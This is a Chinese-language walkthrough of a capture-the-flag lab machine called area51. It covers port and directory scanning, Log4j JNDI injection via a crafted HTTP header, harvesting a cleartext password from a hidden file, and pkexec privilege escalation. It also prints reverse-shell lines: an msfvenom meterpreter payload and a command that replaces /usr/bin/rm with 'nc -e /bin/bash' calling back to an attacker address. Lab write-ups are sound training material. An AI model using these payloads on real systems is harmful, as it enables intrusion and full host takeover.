【OSCP】area51

OSCP 靶场

靶场介绍

area51

medium

log4j2扫描、利用、凭据收集、pkexec 提权、命令劫持、msf 提权

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

└─$ nmap -sV -A -p- -Pn -T4 192.168.1.97
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-25 10:36 +06
Nmap scan report for 192.168.1.97
Host is up (0.0034s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 de:bf:2a:93:86:b8:b3:a3:13:5b:46:66:34:d6:dc:b1 (RSA)
|   256 a9:df:bb:71:90:6c:d1:2f:e7:48:97:2e:ad:7b:15:d3 (ECDSA)
|_  256 78:75:83:1c:03:03:a1:92:4f:73:8e:f2:2d:23:d2:0e (ED25519)
80/tcp   open  http        Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: FBI Access
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (application/json).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.90 seconds

目录扫描

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w pte_tools/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.97 -x php,txt,html -e 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.97
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                pte_tools/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.97/.html                (Status: 403) [Size: 277]
http://192.168.1.97/.php                 (Status: 403) [Size: 277]
http://192.168.1.97/video                (Status: 301) [Size: 312] [--> http://192.168.1.97/video/]
http://192.168.1.97/index.html           (Status: 200) [Size: 1131]
http://192.168.1.97/radar                (Status: 301) [Size: 312] [--> http://192.168.1.97/radar/]
http://192.168.1.97/note.txt             (Status: 200) [Size: 119]
http://192.168.1.97/moon                 (Status: 301) [Size: 311] [--> http://192.168.1.97/moon/]
http://192.168.1.97/.html                (Status: 403) [Size: 277]
http://192.168.1.97/.php                 (Status: 403) [Size: 277]
http://192.168.1.97/server-status        (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================

这里提示让我们检查log4j 漏洞，我们使用简单使用nc 和curl 请求发现存在该漏洞

curl http://192.168.1.97:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.76:9001/test}'
nc -lvvp 9001

或者使用如下脚本进行内网扫描

https://github.com/Y0-kan/Log4jShell-Scan

权限获取

这里使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具进行注入，但是搞了半天还是失败了。

更换exp 反弹shell 成功，脚本如下：

https://github.com/kozmer/log4j-shell-poc

curl 'http://192.168.1.97:8080' -H 'X-Api-Version: ${jndi:ldap://192.168.1.76:1389/a}'

执行如下命令可以发现是docker 环境，因此我们还需要进行docker 逃逸

ls -alh /.dockerenv
-rwxr-xr-x    1 root     root           0 Dec 19  2021 /.dockerenv

权限提升

php -S 0.0.0.0:123

使用linpeas.sh 扫描，发现存在隐藏文件，打开发现是宿主机的账号密码

cat /var/tmp/.roger
b3st4l13n

登录后成功获取flag

find / -perm -u=s -type f 2>/dev/null

roger@area51:~$ /usr/bin/pkexec --version
pkexec version 0.105

直接使用msf 的提权模块进行提权

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.76 LPORT=1234 -f elf > backdoor

提权方法二：

通过linpea.sh 脚本发现/etc/pam.d/kang 存在密码，拿到密码后直接登录成功。

在kang 家目录下发现存在一个奇怪的脚本，一会有一会没有，我们cat * 还可以执行输出 echo hi

猜测脚本内肯定执行了rm 命令，我们尝试使用替换命令反弹shell,成功获取root 权限。

echo 'nc -e /bin/bash 192.168.1.76 9001' > /usr/bin/rm

End

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原文始发于微信公众号（贝雷帽SEC）：【OSCP】area51